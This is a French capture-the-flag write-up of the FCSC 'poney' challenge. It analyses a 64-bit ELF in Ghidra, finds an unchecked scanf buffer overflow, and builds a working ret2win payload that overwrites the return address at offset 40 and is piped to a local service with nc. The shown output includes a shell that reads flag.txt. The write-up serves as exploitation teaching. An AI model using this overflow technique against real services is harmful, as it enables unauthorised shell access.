Comportement
On va voir le comportement du fichier poney.
file poney
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped
chmod +x poney
./poney
Give me the correct input, and I will give you a shell:
>>> ceci est un test
./poney
Give me the correct input, and I will give you a shell:
>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Erreur de segmentation
On regarde avec file sur quel binaire on se trouve.
On remarque que c’est fichier ELF en 64bit pour architecture x86-64 pour GNU/Linux
Je rends le binaire exécutable avec chmod +x.
On le teste :
- On remarque qui si on donne la bonne entrée il nous dit qu’il nous donne un shell.
- Avec une petite phrase il se passe rien.
- Avec une longue phrase nous avons un débordement de tampon.
Ghidra
On va analyser le binaire avec Ghidra.
undefined8 main(void)
{
undefined1 local_28 [32];
puts("Give me the correct input, and I will give you a shell:");
printf(">>> ");
fflush(stdout);
__isoc99_scanf(&DAT_004007b5,local_28);
return 0;
}
La première fonction que l’on analyse est main.
On voit qu’elle possède une variable : undefined1 local_28 [32]; qui est un tableau de 32 octets.
Et une saisie qui un scanf normalisé isoc99 : __isoc99_scanf(&DAT_004007b5,local_28);
Le problème ici c’est qu’il a aucune vérification de la longueur de la chaîne saisie donc on peut faire un débordement de tampon si on atteint une valeur de plus 32 caractère.
python3 -c 'print("A"*32)' | ./poney Give me the correct input, and I will give you a shell:
>>>
On teste avec avec 32 caractères,il se passe rien, pourquoi ?
C’est parce qu’en fait on écrase RBP qui est un pointeur de base qui sert à délimiter les variables locales et les variables passés en paramètres, il se peut que ça plante mais pas tout le temps.
Donc pour il faut aller plus loin, de combien ?
On a vu que l’on était sur une architecture 64 bit, donc l’RBP doit faire 64 bit qui font 64/8 = 8 octets.
Normalement si que j’écris à partie 40 ème octets (caractères), ça devrait planter.
python3 -c 'print("A"*40)' | ./poney
Give me the correct input, and I will give you a shell:
>>> Erreur de segmentation
Ça plante quand on commence à écrire sur l’adresse de retour.
Regardons Ghidra.
On trouve une fonction shell qui permet d’exécuter un shell.
On vois que la fonction shell commence à l’adresse : 0x0000000000400676, car on est en 64 bit.
Donc il faudra remplacer l’adresse de retour qui commence au 40 ème caractères par celle du shell, il faut faire attention à l’architecture ici on est sur du intel x86-64 bit donc en little endian, il faut inverser l’ordre de l’adresse.
$ python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")' | nc localhost 4000
Give me the correct input, and I will give you a shell:
>>> dl
ls
flag.txt
poney
cat flag.txt
FCSC{XXX}